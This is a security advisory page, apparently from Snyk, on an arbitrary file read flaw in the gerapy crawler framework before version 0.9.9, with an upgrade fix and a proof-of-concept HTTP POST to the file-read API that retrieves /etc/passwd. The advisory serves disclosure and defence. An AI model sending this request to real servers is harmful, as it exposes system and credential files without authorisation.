Arbitrary File Read Affecting gerapy package, versions [,0.9.9)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary File Read vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-GERAPY-1932531
  • published3 Feb 2022
  • disclosed28 Nov 2021
  • creditPeiQi0

Introduced: 28 Nov 2021

CVE NOT AVAILABLE CWE-22  (opens in a new tab)

How to fix?

Upgrade gerapy to version 0.9.9 or higher.

Overview

gerapy is a Distributed Crawler Management Framework Based on Scrapy, Scrapyd, Scrapyd-Client, Scrapyd-API, Django and Vue.js.

Affected versions of this package are vulnerable to Arbitrary File Read. An authenticated user without permissions can send a specially crafted HTTP POST request to the server hosting gerapy in order to retrieve the contents of arbitrary files.

###PoC

   POST /api/project/file/read HTTP/1.1
   Host:
   Content-Length: 35
   Accept: application/json, text/plain, /
   Authorization: Token 0fb31a60728efd8e6398349bea36fa7629bd8df0
   User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) 
   Chrome/96.0.4664.55 Safari/537.36
   Content-Type: application/json;charset=UTF-8
   Accept-Encoding: gzip, deflate
   Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
   Connection: close

{"path":"/etc/","label":"passwd"}

CVSS Scores

version 3.1